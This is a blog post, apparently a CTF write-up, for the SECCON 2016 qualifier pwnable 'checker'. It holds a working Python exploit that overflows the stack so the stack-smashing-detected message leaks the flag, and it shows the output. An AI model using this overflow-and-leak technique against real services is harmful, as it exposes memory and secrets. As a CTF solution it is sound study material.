SECCON CTF QUAL 2016 - checker

2017. 1. 2. 18:01·CTF/2016

Category : Pwnables 


checker

Summary : memory leak with SSP protection




Exploit

#!/usr/bin/python


from socket import *

from struct import pack, unpack

import time


def rc(s, ch):

    res = ''

    while ch not in res:

        res += s.recv(1)

    return res


p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]


HOST = 'checker.pwn.seccon.jp'

PORT = 14726


target = "a"*0x178+"\xc0\x10\x60\x00\x00\x00\x00\x00"


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

rc(s, 'NAME : ')

s.send('pwn3r\n')


rc(s, '>> ')

s.send('a'*(len(target) - 1)+'\n')

rc(s, '>> ')

s.send('a'*(len(target) - 2)+'\n')

rc(s, '>> ')

s.send('a'*(len(target) - 3)+'\n')

rc(s, '>> ')

s.send('a'*(len(target) - 4)+'\n')

rc(s, '>> ')

s.send(target[:0x178+3]+'\n')

rc(s, '>> ')

s.send('yes'+'\n')


rc(s, 'FLAG : ')

s.send('gogo\n')


time.sleep(1)

print s.recv(1024)


s.close()


"""

    pwn3r$ python check_exploit.py

    You are a liar...

    *** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated

    

"""



저작자표시 (새창열림)

'CTF > 2016' 카테고리의 다른 글

33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
SECCON CTF QUAL 2016 - jmper  (1) 2017.01.02
'CTF/2016' 카테고리의 다른 글
  • 33C3 CTF - tea
  • 33C3 CTF - rec
  • 33C3 CTF - babyfengshui
  • SECCON CTF QUAL 2016 - jmper
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    POC
    gnuboard
    HUST
    vuln
    HUST2011
    power of community
    pwnables
    csaw ctf
    후기
    web
    정보보호올림피아드
    csaw
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
SECCON CTF QUAL 2016 - checker
상단으로

티스토리툴바